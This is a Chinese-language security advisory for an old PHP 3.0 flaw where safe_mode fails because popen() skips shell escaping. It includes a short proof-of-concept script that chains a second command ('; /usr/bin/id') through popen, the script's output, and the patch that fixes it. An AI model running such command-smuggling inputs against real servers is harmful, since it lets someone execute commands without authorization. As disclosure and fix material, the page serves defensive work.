程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> PHP綜合 >> PHP3 safe_mode 失效漏洞

PHP3 safe_mode 失效漏洞

編輯:PHP綜合
受影響的系統:  PHP 3.00  
--------------------------------------------------------------------------------
描述:

    PHP Version 3.0是一個HTML嵌入式腳本語言。其大多數語法移植於C、Java和Perl並結合了
PHP的特色。這個語言可以讓web開發者快速創建動態網頁。

    因其執行在web服務器上並允許用戶執行代碼,PHP內置了稱為'safe_mode'的安全特性,
用於控制在允許PHP操作的webroot環境中執行命令。

    其實現機制是通過強制執行shell命令的系統調用將shell命令傳送到EscapeShellCmd()
函數,此函數用於確認在webroot目錄外部不能執行命令。

    在某些版本的PHP中,使用popen()命令時EscapeShellCmd()卻失效了,造成惡意用戶可
以利用'popen'系統調用進行非法操作。

--------------------------------------------------------------------------------
測試程序:

警 告:以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!

<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>

輸出結果如下:

1
total 53  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  

--------------------------------------------------------------------------------
建議:  
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf <[email protected]> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;

@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}

- fp = popen(buf,p);

+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;  
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved